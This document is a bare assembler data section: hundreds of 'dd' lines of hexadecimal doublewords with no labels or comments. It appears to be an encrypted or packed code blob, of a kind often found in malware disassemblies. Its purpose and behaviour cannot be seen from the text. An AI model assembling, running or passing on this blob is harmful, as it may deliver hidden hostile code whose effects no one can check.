		dd 4B5BD83h, 74000606h,	0B8535017h, 47Ah, 20B98589h, 9D8D0606h
		dd 608AF69h, 585BD3FFh,	0BE66F1B1h, 6A6BD2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 3336BEC3h
		dd 0E0C819B7h, 8BC8E0A0h, 6E8C0h, 0A19B0000h, 0F95CF241h
		dd 0B8665AF9h, 0C2818E7Dh, 6A72h, 4890F60h, 66000000h
		dd 0F823EBAh, 186h, 6861FC00h, 1A77h, 5E96051h,	0F3000000h
		dd 62C9EDF4h, 1255B966h, 0FC5F5961h, 0EE81328Bh, 1F3767A5h
		dd 0ACCB8166h, 83C681F5h, 0B4029F8Bh, 0EFEE810Fh, 0E84A870Dh
		dd 10h,	5C588832h, 5B5B4A5Fh, 0F11C926Ah, 1F8A6A03h, 565940B3h
		dd 8F06C080h, 28A0F02h,	8A000000h, 86EA81C6h, 8A3EA860h
		dd 82C281FEh, 0FC3EA860h, 0A9850F4Fh, 0BBFFFFFFh, 46103969h
		dd 82268D8Dh, 8166060Bh, 0BA397EF6h, 1F5C426Ch,	28DD8D89h
		dd 6E90606h, 48000000h,	0A9A324E9h, 1185C744h, 0D0060611h
		dd 6600006Bh, 4A9DF81h,	2E4985C7h, 606h, 8F0F0000h, 5
		dd 8EE08166h, 0D5B5FFDEh, 8906062Ah, 61035BDh, 12E906h
		dd 19BC0000h, 0AD99E0D7h, 0E27565C4h, 157FD26Eh, 0A7CFDBDFh
		dd 79195FFh, 0BE660606h, 9D896E07h, 6061201h, 95FF006Ah
		dd 6061AC9h, 49EBC08Bh,	62AA03B1h, 174EF5CEh, 9BEB6209h
		dd 0B23A56A3h, 261A9EDFh, 0A9AB8FBEh, 6515CD7Ch, 28A058FCh
		dd 2E7163D3h, 8C67024Fh, 9CEDD909h, 0CC519D65h,	0F49A077Ah
		dd 0D7A3AA0Ah, 0CE4CCFFAh, 0E83E56BFh, 12F9581Bh, 7C94919Ah
		dd 15CE98Eh, 1D2F0000h,	49CBF05Eh, 5AB49646h, 54B90A54h
		dd 54B9535Fh, 5A330A5Ch, 73CF5357h, 26A63A7Ch, 2737532Eh
		dd 7B73C40Eh, 0B49860BAh, 16055269h, 17D65318h,	167F5318h
		dd 16BB5318h, 16DF5318h, 16EF5318h, 16D85318h, 16FB5318h
		dd 16F55318h, 16FE5318h, 6F2C5318h, 7BDA276Bh, 648F7318h
		dd 658A3077h, 16F70E6Bh, 16FB5318h, 16FD5318h, 16FE5318h
		dd 167F5318h, 16BF5318h, 16DF5318h, 16EF5318h, 16F75318h
		dd 16FB5318h, 16FD5318h, 16FE5318h, 167F5318h, 16BF5318h
		dd 16DF5318h, 16EF5318h, 16F75318h, 16FB5318h, 16FD5318h
		dd 16FE5318h, 167F5318h, 16BF5318h, 16DF5318h, 16EF5318h
		dd 16F75318h, 16FB5318h, 16FD5318h, 16FE5318h, 167F5318h
		dd 16BF5318h, 16DF5318h, 16EF5318h, 16F75318h, 16FB5318h
		dd 16FD5318h, 16FE5318h, 167F5318h, 16BF5318h, 16DF5318h
		dd 16EF5318h, 16F75318h, 16FB5318h, 16FD5318h, 16FE5318h
		dd 167F5318h, 16BF5318h, 16DF5318h, 16EF5318h, 16F75318h
		dd 16FB5318h, 16FD5318h, 16FE5318h, 167F5318h, 16BF5318h
		dd 16DF5318h, 16EF5318h, 16F75318h, 16FB5318h, 16FD5318h
		dd 16FE5318h, 167F5318h, 2E745318h, 0C0E972D5h,	68000016h
		dd 60B85CFh, 0FBC030E9h, 86E468FFh, 26E9060Bh, 68FFFBC0h
		dd 60B8829h, 0FBC01CE9h, 891968FFh, 12E9060Bh, 68FFFBC0h
		dd 60B8A83h, 0FBC008E9h, 8C2768FFh, 0FEE9060Bh,	68FFFBBFh
		dd 60B8CE2h, 0FBBFF4E9h, 8DB468FFh, 0EAE9060Bh,	68FFFBBFh
		dd 60B8FC9h, 0FBBFE0E9h, 90A168FFh, 0D6E9060Bh,	68FFFBBFh
		dd 60B9141h, 0FBBFCCE9h, 91D468FFh, 0C2E9060Bh,	68FFFBBFh
		dd 60B9335h, 0FBBFB8E9h, 980468FFh, 0AEE9060Bh,	68FFFBBFh
		dd 60B98E6h, 0FBBFA4E9h, 8818F9FFh, 6D05E021h, 4EDEC506h
		dd 32CAA6E7h, 18A88ACBh, 0C24D91B1h, 0A8E950E0h, 8ACB32CAh
		dd 6AAB12A2h, 538EF58Dh, 0FD6A871Ch, 20FA4DD8h,	1B8C69DDh
		dd 0B53EA434h, 0BA9607E4h, 4DE29922h, 4BD37914h, 0C72D8C0h
		dd 0A0A894A5h, 0AAD2E67Bh, 0A48C51D9h, 4871761Bh, 0C9EE4DD5h
		dd 857A2B81h, 3E84A455h, 0C1000000h, 789DA399h,	0D97E3DE3h
		dd 69FEA551h, 4DD57D08h, 58EF4DCh, 0D57D0F60h, 1833D84Dh
		dd 454E0CAAh, 954A96EFh, 90AEF775h, 0AA51A455h,	0D54CDC15h
		dd 61A0884Dh, 6AA0EC84h, 0F8h, 0E7C283A7h, 0A9CEC64Fh
		dd 0D379DF14h, 539F874Bh, 3BD02704h, 4BD37926h,	3B60C6AEh
		dd 79E2FF94h, 0BF544BD3h, 4BD379A2h, 82434A32h,	8C840DA5h
		dd 8A41DA26h, 0CB54ECC9h, 0D22816A0h, 76DBA3Eh,	0CF7E916Eh
		dd 4C431Fh, 0B63FCFB1h,	0E77008E5h, 7CA13916h, 0FC48E0BBh
		dd 0C22A7085h, 57FE4BD3h, 0D3B8A1C2h, 14D354Bh,	183DD5B2h
		dd 0DEE4E0FDh, 6FBBF848h, 952AD1F8h, 4BD3585Ch,	85D42008h
		dd 0E68710A8h, 38CDF256h, 51D987E4h, 0FE0F765Eh, 50E50A3Eh
		dd 57DA62FCh, 98597E66h, 7EBF26B6h, 0D60ED99Ch,	67CE6D28h
		dd 45DE06A9h, 68CE2F9Dh, 0CAFBE6Dh, 88BC554Eh, 140Ah, 0C229B99Ah
		dd 0A70EA681h, 88EF7F66h, 6CD36B47h, 52B9492Bh,	8163AC32h
		dd 6B498AF1h, 432B6CD3h, 2E0B4CB3h, 0BDF42F96h,	0D8FCCB28h
		dd 7EC19B4Dh, 90F78769h, 2401724Fh, 7ABF268Ch, 789DA399h
		dd 0BB44DCB7h, 0AD4277C3h, 51D97E07h, 3E33C86Fh, 0A64DD57Ch
		dd 18CF58BEh, 0D745D9FDh, 9C841E08h, 258B830Ch,	70B1B6D9h
		dd 892E4DD5h, 4D22EDC8h, 21268B90h, 33048DF3h, 3B33BC4Ch
		dd 0B6D489D5h, 56376F36h, 1128DA4h, 83CA0000h, 40CE3468h
		dd 2A263C22h, 0F240D90Eh, 0B590298Ch, 0E0B92FDBh, 0F6D3226Eh
		dd 2204D55Eh, 0AB520992h, 0D358DD16h, 55A1894Bh, 0D35F6832h
		dd 58C9A64Bh, 177EE47Ch, 0A088F9D6h, 6A85AA10h,	4A532305h
		dd 0B24B97F8h, 0F0152B11h, 0D98AD95Bh, 74998151h, 0F33FD7B3h
		dd 4C3A557Ch, 744EACDDh, 0CA7291DDh, 7BBC5176h,	0E357DA8Bh
		dd 86ED72C8h, 379D286Eh, 0DA6A5112h, 0B698598Eh, 9C7EBF26h
		dd 8B5C110Ch, 69F4E0Ch,	12F5D2h, 14A48500h, 0F9916CADh
		dd 0DA6A5192h, 0BE563273h, 0A4341657h, 4EC11D3Dh, 3475DC6Ch
		dd 1657BE56h, 0F6379E2Eh, 0DF1A8119h, 0FFDE13A8h, 0AC864DD8h
		dd 0E6C28369h, 790EC54Eh, 4BD37978h, 5F9E04ECh,	4F9EEA82h
		dd 9DB8DD6Dh, 152DAAB3h, 43BA06D3h, 83E0751Ch, 534BD385h
		dd 0F3D01F6Bh, 85EA079Ch, 0D37A4BD3h, 0D385253Eh, 63C9B14Bh
		dd 9C31D8FDh, 4BD38547h, 64DB270Fh, 0E001963Dh,	744BD385h
		dd 0B63FD7B3h, 0B90C58BEh, 2A47DC83h, 0BA4BD379h, 5A3786D2h
		dd 8B6839C2h, 4A658CF3h, 0B9F9D7FFh, 57A6F29Dh,	578C2170h
		dd 0FF4BD3BEh, 718CB117h, 46AEAA48h, 19E2A28Dh,	0CB8958E6h
		dd 99EDCC65h, 5E2EA907h, 0CBA87912h, 6862CC33h,	0F4192F0Dh
		dd 0D9224D5Fh, 2B2D1551h, 5BF15498h, 12360645h,	0F6A858EDh
		dd 731AAC49h, 45F485DEh, 0DB21BF48h, 873E9A23h,	0A9329880h
		dd 0BF4F31F2h, 0BE0AA280h, 7EA39D9Fh, 4A9300E9h, 88ABC652h
		dd 3A5362B2h, 0D50EA3C8h, 81424C97h, 4E364D99h,	0D9C18229h
		dd 92220A49h, 0C31AF746h, 4C97352Eh, 53B9A142h,	5DCEABECh
		dd 0CFACEB7Bh, 1BD6D137h, 0E2507C1Ah, 11B01549h, 5F400000h
		dd 4C2768CFh, 250C4DB4h, 11ED2E95h, 0EFD11279h,	6D8F85Fh
		dd 30972709h, 127911EFh, 0F259E9D1h, 0D53CD4B1h, 95CE639Ah
		dd 414DD8F1h, 8C692467h, 72CA6BF4h, 0E702A9CEh,	609C395Ah
		dd 20438FF5h, 51D98810h, 0B2F35A42h, 71183DD5h,	0D52D87DCh
		dd 13A84F4Dh, 4DD52DDEh, 9F389E86h, 1E28B5AEh, 28C10D0Fh
		dd 39C9B071h, 0DA6ECEEDh, 245420B5h, 16FE57D8h,	0BB5330F1h
		dd 9E361354h, 79075E79h, 0C32DF41h, 0B68627C0h,	0CEAC6D92h
		dd 69B5AD36h, 9AB59F34h, 0B59D5DCCh, 4CCEE990h,	0B0296C01h
		dd 0FEDB2A76h, 0E1BEFF66h, 0E87D2449h, 59CE178Bh, 0D6C2405Bh
		dd 1914EAC6h, 0F8F98EB3h, 6C59CEC7h, 0E89F3884h, 0C7B7AC41h
		dd 371F59CEh, 0D870CCEBh, 7A770CB3h, 0EA59CEC7h, 0EC81B602h
		dd 43C41A78h, 2EFFFAE2h, 0A941F821h, 10C0DC10h,	6F500000h
		dd 5C3778DFh, 351C5DC4h, 21FD3EA5h, 0FFE12289h,	0F6E8086Fh
		dd 40A73719h, 228921FFh, 269F9E1h, 0E54CE4C1h, 85DE73AAh
		dd 514DD8F0h, 87693477h, 0BD7F90F7h, 53C95E83h,	0B551D97Ah
		dd 7978790Eh, 4EC4DD5h,	94B9A1B8h, 365BEBD3h, 0D57940A1h
		dd 0E02C144Dh, 1997647h, 0A53D1BDCh, 0C4A1E259h, 6B46072Ch
		dd 6524AD3h, 0D870CC6Dh, 7A770CB3h, 0EA4DD579h,	0EC81B602h
		dd 57DF9548h, 0A415F1B2h, 63C92FC7h, 0E02A51DAh, 86ED8562h
		dd 5C81C775h, 0D56151C7h, 60E9D15Dh, 911AB28Fh,	79F911B8h
		dd 0C3587DC3h, 43CB6155h, 99310CCDh, 654D0E33h,	0EB1289D5h
		dd 62B2AF44h, 3A2253CBh, 2AC29FEEh, 92EBFCA1h, 2C5353CBh
		dd 0EF87641Eh, 558E23CAh, 153CB52h, 1556CD19h, 7617A038h
		dd 0C85D82C6h, 49C1BA1Ch, 10379E86h, 2301724Fh,	0A40A028Bh
		dd 5FD7231Bh, 9B30D704h, 55CD3A46h, 0BBDA260Eh,	69470881h
		dd 3AA5BED1h, 493155CDh, 6729BEE3h, 0FF4FC0BFh,	74561517h
		dd 0BC539025h, 1B036FFAh, 0EE13EA82h, 298F7F1Ch, 0D1EAFBA0h
		dd 0D26A6FFAh
		dd 30B4496Eh, 8C75F754h, 0D59E9CBh, 28E90EF6h, 0B4CB34Bh
		dd 560D962Eh, 7E7308AFh, 0E661E653h, 53F6EBFEh,	765E61E6h
		dd 69F9DB2Ah, 0E6DE976Eh, 0D1059E2Fh, 0F56h, 0E7505E6h
		dd 0F35AF2CDh, 0D43BCBB2h, 0B81FB793h, 9E059577h, 0CDAF607Eh
		dd 0B795D63Dh, 8F77B81Fh, 7A5798FFh, 9407BE2h, 0D8F37F74h
		dd 0CA0DE74Dh, 0D2F78769h, 938A61B7h, 4F7490B7h, 0D378B9BAh
		dd 0F9452D4Bh, 0CC644182h, 0FD957243h, 7694BB74h, 398EFCCh
		dd 4BD378EEh, 0C2C9613Eh, 0E60D74DAh, 7849AA3Fh, 351D4BD3h
		dd 78667B10h, 6EE4BD3h,	591095BAh, 9FEE9E4Fh, 2B000001h
		dd 74358C69h, 0F5EE0199h, 294BD379h, 342CB54Dh,	56DF452Dh
		dd 0EB10A885h, 79B2AF44h, 61224BD3h, 0F089EF7Fh, 8750FA14h
		dd 1188D477h, 0DF043C00h, 0D90B764Ah, 90D5F051h, 243E9E4Eh
		dd 379D2D14h, 42A348D1h, 0E24DD507h, 0BBE66F07h, 0FED6D9DCh
		dd 11EE2DC6h, 7BCC25BAh, 0B0984DD5h, 0FF36C14Ah, 650A10CBh
		dd 0A42DBDA4h, 9FAB60ACh, 0A0C156FDh, 344DD57Bh, 96FC8C73h
		dd 7B87DC71h, 674F4DD5h, 55AFF61Bh, 8D4EA455h, 96CC18B0h
		dd 2Fh,	9DA399D3h, 7E3DE378h, 0BDA551D9h, 75CF198h, 0CF4DD57Dh
		dd 4B029BE7h, 0CB17AF8Ah, 0D57D47A8h, 0CFFB204Dh, 555C485Dh
		dd 0A3B6A4h, 69F30000h,	28CFF48Ch, 0D3795E93h, 0D21E064Bh
		dd 0F6866839h, 27BF9C6Dh, 58F0CD9Eh, 7EDEDCF1h,	0C36A4BD3h
		dd 0D37C352Eh, 5E0A14Bh, 86ECE46Dh, 760EEB3Ah, 0DC15AA51h
		dd 884BD37Fh, 0B6DD54A0h, 0F6CD59Bh, 115D3188h,	0D1F64AF2h
		dd 0DC477D3Ch, 0D8FDE551h, 0EACC3517h, 73D9D15Ah, 59E9CB0Ch
		dd 12EA815Eh, 0CF039C54h, 0DB2h, 6AD16142h, 4FB64E29h
		dd 3097270Eh, 147B13EFh, 0FA61F1D3h, 290B04DAh,	13F13299h
		dd 0EBD3147Bh, 0D6B3F45Bh, 659CD73Eh, 0D8F593D0h, 2669434Dh
		dd 90F78769h, 73DA724Fh, 0E5C2832Eh, 80CCC44Dh,	8F895431h
		dd 0A5500982h, 0E349D9C0h, 4623F47Dh, 5F2047AEh, 4D9CE878h
		dd 0AE4FD870h, 7A95BA8Eh, 0B2A61452h, 0F025712Fh, 0D958355Bh
		dd 4EB59D51h, 73FAAh, 0C283E700h, 0C9C14ADAh, 0BC4C2E7Dh
		dd 79598E33h, 3FFD4BD3h, 58BE4E30h, 0FCC29E33h,	0AD6E51DEh
		dd 0E97961D2h, 38203783h, 0DD755213h, 0C0583576h, 0E2BF8037h
		dd 7DC9C14Ah, 0C1BC4C2Eh, 541085DEh, 0F73064FDh, 8700000Ch
		dd 6EAF16A6h, 5394FB93h, 3475DC6Ch, 1859C058h, 1F3FA636h
		dd 0DE6E50BFh, 0C0583677h, 0A0301859h, 831BF839h, 15AAE11Ch
		dd 4DD8F5DCh, 836BAE88h, 0C14ADAC2h, 4C2E7DC9h,	6D2E55BCh
		dd 60AFFB8Bh, 9162EB83h, 50F71CB4h, 0D379A6BBh,	7E0EF64Bh
		dd 0EF6FDF5h, 497029C2h, 0CA48101h, 0DBBD7EA5h,	9F1C24Bh
		dd 92F8F079h, 57842146h, 607B9E4Fh, 0E48C5248h,	0B1E733E4h
		dd 0Dh,	836A95EEh, 0D1734BD3h, 0FFFFFD94h, 7950950Eh, 38044BD3h
		dd 8256EB10h, 3C51DEFCh, 0F3882F54h, 4DD8FAFEh,	2FC7A566h
		dd 0A1487DC9h, 0AF2A2186h, 0ED2C43FFh, 0DA297505h, 0BDFE65FDh
		dd 622348E0h, 6B63EC84h, 0D3B5861Fh, 734F4843h,	19A5410h
		dd 0C25CDh, 44D4B500h, 29C19CDDh, 0A9A81C2h, 0EE8662A3h
		dd 0D4644687h, 7E914D6Dh, 64A50C9Ch, 4687EE86h,	2667CE5Eh
		dd 0F4AB149h, 0F42E43D8h, 0DCB64DD8h, 0C18C6999h, 1B8B2B8Dh
		dd 0D962C841h, 0A932B08h, 3CC55D39h, 6DF68E6Bh,	0A029C19Ch
		dd 305A81A8h, 0ED1D446Bh, 0BBE07855h, 0FE871FFAh, 2C43BA06h
		dd 9E4FEB79h, 1B83h, 6A95C000h,	734BD383h, 0FFFCD7D1h
		dd 7E112CFFh, 79877815h, 4CD56D4Bh, 4FA2EE54h, 789DA399h
		dd 0D99745E3h, 10351D51h, 649FD469h, 5F474DD5h,	2C37A13h
		dd 9018A1Ah, 64569ABDh,	0EC114DD5h, 71574EDEh, 0CCA5A455h
		dd 0E2000001h, 0D3796095h, 70C84A4Bh, 1441C7D0h, 432071AEh
		dd 260344ABh, 0E760058Eh, 7F4BD3E5h, 0B3903258h, 0A0A3B41Bh
		dd 775425AEh, 0AA5178DFh, 0D3D9DC15h, 54A0884Bh, 7902805h
		dd 0D3DAFD62h, 5456A4Bh, 4FF4FEA7h, 181009Eh, 9A5B0000h
		dd 0A39B24BCh, 8C690457h, 53E83F1Bh, 4BD3791Eh,	1278DEC6h
		dd 43DBB889h, 0D771CBDCh, 0AA9B1DB2h, 2C351D9h,	0D058E26h
		dd 74791EA7h, 0F14DD549h, 772EBECCh, 85A45584h,	4Ah, 1C6883C2h
		dd 0A5CA5882h, 49D26A48h, 809FEB51h, 0CA5F84BCh, 51D9A11Ah
		dd 401718Ch, 48DBC367h,	0B3B459E2h, 2C4DD535h, 9859C307h
		dd 0CA9B24BCh, 0D1C952E2h, 0ABFA1F6Bh, 52A455A3h, 0A46D5237h
		dd 0C00C421Fh, 0E28Ah, 8C69C700h, 0B89A6BF4h, 0F1CE9F28h
		dd 0B4193459h, 39BD4269h, 5209A2EEh, 0CD19A991h, 0A209A17Eh
		dd 0D3F5858Dh, 49C794Bh, 0AA421EDFh, 19C0E75Eh,	0D3066F84h
		dd 0C30FF74Bh, 0DF7D98A4h, 0E7C8D99Dh, 0EF96BB21h, 6CB8502Eh
		dd 0DC087249h, 3ED7F251h, 1623834h, 7D3E63C9h, 6C2ED295h
		dd 500B1B4Ah, 1D6961EAh, 824527E8h, 623E69E4h, 0ED9731CAh
		dd 433330C5h, 0BBA34DDBh, 469B3055h, 0E4DDB43h,	1859C026h
		dd 0ACABA636h, 0C75413CEh, 0A10FA2Eh, 0BFA00000h, 0AC87C82Fh
		dd 856CAD14h, 714D8EF5h, 4F3172D9h, 0A63858BFh,	90F78769h
		dd 72D9714Fh, 52B94931h, 359C3411h, 352EC3FAh, 0A14DD8F6h
		dd 876984C7h, 44AA421Eh, 7A0FB6DDh, 4BD37979h, 3B42DAB5h
		dd 9F059D7Ah, 5FE87860h, 0EFCC1B67h, 69ABF057h,	9A6BF48Ch
		dd 97BE25BDh, 79065BF0h, 0E6CE4BD3h, 3AAE89Ah, 40250000h
		dd 93AD8FAAh, 3132C76Eh, 0A54BD379h, 0A73C71BDh, 51DEFCE4h
		dd 46DEBB7Ch, 5D5FC5BDh, 0B5DA6ECEh, 0D2FF2C20h, 0C54E3657h
		dd 0C2FCCF20h, 57739847h, 60D8D0D5h, 876E2FAAh,	2575ABF7h
		dd 0B2000003h, 0D3795095h, 452DEE4Bh, 0E6FB90B5h, 6E4BD379h
		dd 0C7173A86h, 774BD379h, 0C1567BC5h, 51D99C23h, 0CBD0CBB3h
		dd 0E5415E6h, 9384175h,	0E7C80000h, 0D4AFF057h,	0AD94D53Ch
		dd 9975B61Dh, 77599A01h, 7E6080E7h, 0B81FAF91h,	9A019977h
		dd 7AE17159h, 5DC45C39h, 1D56EB22h, 0C94DD8E9h,	8C69ACEFh
		dd 0C6733E1Bh, 1F9C3011h, 36BF258Bh, 7CA1A795h,	0DE7429E7h
		dd 6AD1B951h, 385DE359h, 5CF4D091h, 0F653ED10h,	0F69D57D2h
		dd 0C4F50061h, 0A0ECD447h, 0BB7CA189h, 0C9DE45DDh, 47C4F68Ch
		dd 0B31A3210h, 73FC9472h, 0A42DC5A2h, 0EA0F3903h, 0CEF6BF55h
		dd 6580275Dh, 4645B50Bh, 7370831Ch, 0E359CE75h,	8F9A95FBh
		dd 0CE47FEFCh, 8980135h, 47280000h, 340F50B7h, 0DF4359Ch
		dd 0F9D5167Dh, 0D7B9FA61h, 1EC0E047h, 187F0FF1h, 0FA61F9D7h
		dd 0DA41D1B9h, 0BD24BC99h, 0BDB64B82h, 294DD8E8h, 0A3990C4Fh
		dd 870F06Ah, 157BEA4Ch,	0CFA15BF0h, 412951DEh, 0E57D5B1Ch
		dd 7D3C577Eh, 100B7739h, 270554A0h, 0D765068Fh,	19B74C71h
		dd 6B57D5E4h, 0E2322FC4h, 0BAA247C5h, 1BB0576Eh, 47C5E2C6h
		dd 0B740A68Eh, 0AFC45900h, 3747C5E2h, 58E4034Fh, 0F636CBF0h
		dd 705DCFE7h, 6A6C8D88h, 0EE8747FFh, 805BAh, 24B49500h
		dd 9A17CBDh, 0EA7A61A2h, 0CE664283h, 0B4442667h, 5EB12D4Dh
		dd 4485EC7Ch, 2667CE66h, 647AE3Eh, 0EF2A9129h, 0E8CE23B8h
		dd 0BC964DD8h, 0C18C6979h, 0BA328D34h, 820B71D5h, 0B33CD4B1h
		dd 0BB7D3FAh, 82F962Eh,	8A9D6047h, 92D544E1h, 2B23AC12h
		dd 27EBBADFh, 65119E50h, 4E000001h, 401B8C69h, 0C1271FA8h
		dd 3500DB9Ch, 0A7FE1CF0h, 65EE54A4h, 0B788216Dh
		dd 0CADB42DAh, 14A9CE72h, 51D9FB80h, 8212F9BAh,	5936F71Ch
		dd 0F44038C1h, 8189A45Bh, 841D1775h, 987D760Bh,	1E94DD5h
		dd 3B2C4F9Bh, 0A44DD598h, 0C4E14B7Fh, 3AA45634h, 4Ch, 0E0C28377h
		dd 179CC750h, 0BCA6D18Dh, 22418DF3h, 91D2671Ah,	454BD395h
		dd 2BD2F75Dh, 95F2EF84h, 7A624BD3h, 92650B2Eh, 0E5CD51D9h
		dd 89B6B75Ch, 0A2F4DD5h, 48396CC0h, 0B2C3A456h,	1E000000h
		dd 5CE5755Dh, 0AD3D2564h, 8DE02C24h, 4BDBC283h,	7CD3B0FFh
		dd 0D3798AE7h, 0C725A4Bh, 40D0B283h, 0E57D5A1Bh, 0E733CBA6h
		dd 49A07D4Eh, 0D379BFB4h, 3F274Bh, 9D268C24h, 0F057EFCCh
		dd 0D3964FDBh, 6A02DF4Bh, 0F64AF203h, 357D3CD1h, 0FDE551DCh
		dd 479C31D8h, 0F4DDBB5h, 0E5A6DB27h, 0CB0C7303h, 375E59E9h
		dd 0DE54133Ch, 6A41145h, 53340000h, 401B5CC3h, 190041A8h
		dd 5E12289h, 0E3C5066Dh, 12CCEC53h, 248B1BFDh, 66D05E3h
		dd 0E64DDDC5h, 0C930C8A5h, 0A1C2578Eh, 354DD8EAh, 8769185Bh
		dd 962BD2F7h, 4BD3795Dh, 5ED52109h, 41A8401Dh, 0C18C69FCh
		dd 0E7438C45h, 35BE24DFh, 0CAEF8764h, 30558E23h, 19014BD3h
		dd 45B256CDh, 0EF000000h, 0E9AADB40h, 6257101h,	58ED1236h
		dd 51DEFCBAh, 68CE112Ch, 5848D3E8h, 8A4BF0F2h, 4EC612A2h
		dd 10FD3F96h, 431EA720h, 912A22ABh, 4A3222DEh, 0D33931BAh
		dd 1EB3486Dh, 8657D510h, 467A9C9Eh, 0B7000000h,	789DA399h
		dd 9E2E10D1h, 91852F52h, 5ED51D9h, 7197D77Ch, 2F174DD5h
		dd 6945169Fh, 688F48D1h, 39707922h, 0A59BA111h,	9941EB80h
		dd 0C1A957DFh, 0CFB65Ah, 0F6110000h, 17F5D65Dh,	65FEF67Fh
		dd 34F0BD2h, 9DA399B0h,	0FC21E378h, 0D1B951DEh,	0C46E2690h
		dd 2481EB1Fh, 0DAA45ADAh, 87h, 0AA688317h, 0ECCCAEACh
		dd 48F4135Fh, 8346DB00h, 1B51DEC5h, 704D0E33h, 0B574FD8h
		dd 119850BAh, 42139C34h, 8A43CC64h, 12742763h, 0D6CF5D6Dh
		dd 28A45B13h, 4Fh, 47DC8365h, 4BD3792Ah, 8717F9BAh, 54A006FEh
		dd 1C410735h, 80BF0601h, 0E1553E53h, 4BAD0F94h,	93C8147Ah
		dd 0DE8044FEh, 0A9EAD251h, 0B8DD873Fh, 6286649Dh, 83CF1F5Ch
		dd 7920BCCEh, 0D8F08FE4h, 236F574Dh, 5ADCA7FEh,	1F55A4h
		dd 95920000h, 4BD393C8h, 0FF0E7315h, 27CEFFFFh,	0D3635192h
		dd 1152E74Bh, 0C54BD363h, 0A2EED6DDh, 9DA3994Fh, 0FDD1E378h
		dd 0A18951DEh, 0A2C57718h, 0A9A12ABAh, 6DF68E6Ah, 55EA0F75h
		dd 57D578BCh, 1F1FEF0Ah, 93F06559h, 0B24B7C9Eh,	5DA9C872h
		dd 1E395E46h, 9EDF44E1h, 26BF0B5Bh, 6C91B785h, 0C9716DD7h
		dd 14F6B75Dh, 0A9CA5F84h, 3D59F076h, 0AF20955h,	0B14924E5h
		dd 7DEECB8Ch, 1CA50B9Bh, 5061D824h, 0A20421ECh,	854F56C2h
		dd 9253FA1Fh, 67921BABh, 63EA734h, 83CF35EAh, 0FDEA5C60h
		dd 0F91E0643h, 1AAA9152h, 0FE4D9991h, 0A1F8616h, 0FBD4BFDAh
		dd 0F8906D2Eh, 0FB47D7B9h, 0D037CFACh, 911AB28Fh, 459E33DAh
		dd 7FFB863Fh, 685F2465h, 0AE969DAEh, 4FF94362h,	0CF68832Ah
		dd 0B2810965h, 39DBFE4Ah, 0A1E18C60h, 785F30B9h, 0B38E5FE8h
		dd 0B2D9921Bh, 25CCC398h, 64ED7D64h, 5F6B206Ch,	8414FCBDh
		dd 0B50CE938h, 8F68C320h, 0E77F5BFDh, 2B92F8E0h, 0E97202EAh
		dd 1CA53D18h, 4ED76F4Bh, 820B9B7Dh, 13C802A9h, 1BA7E31Ah
		dd 0BD7EA333h, 0C9C14AE2h, 0DDC5067Dh, 14CAC44Dh, 41C1093Eh
		dd 0FDA4C959h, 68A0C156h, 4C34FD8Fh, 8F683839h,	78C4ACFDh
		dd 0C283BC01h, 0D4D91AE5h, 0EE19B9DFh, 0BB07FF88h, 1EA7A19Ch
		dd 4FD8704Dh, 37BBCF76h, 0AED53C06h, 0F17A12EDh, 22AB4320h
		dd 2978C42Ah, 8DFEDB4Ch, 968E17AFh, 49AFA730h, 6BE99E08h
		dd 0E9E8546h, 45FD0DC2h, 0FCED068h, 6E139C34h, 4BD37675h
		dd 280CAF1h, 0E7288F27h, 41E66FFFh, 4BD3762Fh, 21A1E91Eh
		dd 1B42A939h, 98E47C5Ah, 0D3983075h, 0EEB8CD4Bh, 129E4F80h
		dd 0FFFFFF86h, 0F48C694Fh, 0FE6F4C8Dh, 5FD8616h, 401D5E9Fh
		dd 611867A8h, 24BC9929h, 58188D22h, 29E69E4Fh, 23000000h
		dd 789DA399h, 0DEFC2EE3h, 8DCEB651h, 1ED56E23h,	92B686ECh
		dd 2A05C66Dh, 6E234692h, 0F657D57Eh, 4DEA0C0Eh,	27000000h
		dd 789DA399h, 0BB44DCB7h, 9B4277C3h, 221CA680h,	0F130C2FBh
		dd 0B2E7A0Ah, 51DE0A76h, 4BB5F6DEh, 0FE0C4199h,	5B80C874h
		dd 0ECF3BE9Ah, 0F020064Bh, 0FC317DE3h, 0D2DFAA67h, 2D523A57h
		dd 0DFF0F186h, 4A2C47C4h, 323931BAh, 29ECFE4Ah,	74358C69h
		dd 0F6EBFE96h, 5E4BD379h, 0B6871076h, 0F68668D9h, 0A80F756Dh
		dd 769BA597h, 9A320ECFh, 0AACD1911h, 51D9AA16h,	3ADF6850h
		dd 4DD54835h, 0EF7D8DB2h, 0A45584B6h, 2A48h, 6E2A300h
		dd 0BB21B995h, 9BEE3A32h, 789DA399h, 0D97E3DE3h, 34BDA551h
		dd 0D57D5E8Fh, 0A8E2074Dh, 555C6144h, 0B09BA4h,	69D80000h
		dd 9A6BF48Ch, 0CE9F28B8h, 0FFD059F1h, 0E238A22h, 4BD37E8Ch
		dd 0A60DA582h, 3B178865h, 57183DA3h, 99E575h, 2D8D2E49h
		dd 0D63E496Bh, 77D16B8Ah, 7213BD52h, 937B51D9h,	27211B2Ch
		dd 25306D02h, 3DFE57DBh, 70710655h, 0E447DCC5h,	334A96FCh
		dd 0C10B264Bh, 0CA22DB7Dh, 0DBFD2C1Ch, 0CF779C42h, 0AB8D4E83h
		dd 9173B41Bh, 67D90601h, 6B044E0Ch, 1D537h, 0F4846500h
		dd 0D9714C8Dh, 0BA4A3172h, 9E361253h, 8414F637h, 2EE1FD1Dh
		dd 1455BC4Ch, 0F6379E36h, 0D6177E0Eh, 0BFFA61F9h, 0E1FEF388h
		dd 8C664DD8h, 0F7876949h, 0DA724F90h, 0A3992E73h, 3DE3789Dh
		dd 0A551D97Eh, 5E8F34BDh, 74DD57Dh, 0CD26BB62h,	994DD57Dh
		dd 9AB065B1h, 555B9312h, 0CF69A4h, 69A60000h, 0ECFF48Ch
		dd 0B54E9A32h, 0E97202E4h, 0D37E7644h, 6ADBB84Bh, 0A9411E8Fh
		dd 5CC2BA43h, 80D7B4F5h, 0D37CF6EBh, 10765E4Bh,	0B2AF44EBh
		dd 224BD37Ch, 7C8DE67Bh, 71594BD3h, 8526BF0Bh, 0D76C91B7h
		dd 51D99F2Dh, 3546AD95h, 751C4107h, 5F3839CEh, 0EBAC4DD5h
		dd 0F7EF7810h, 26224591h, 3057DA0Fh, 80622348h,	8A13917h
		dd 0E5BC3738h, 45AC12C4h, 97922204h, 4E0DDA64h,	0F3DA0EA7h
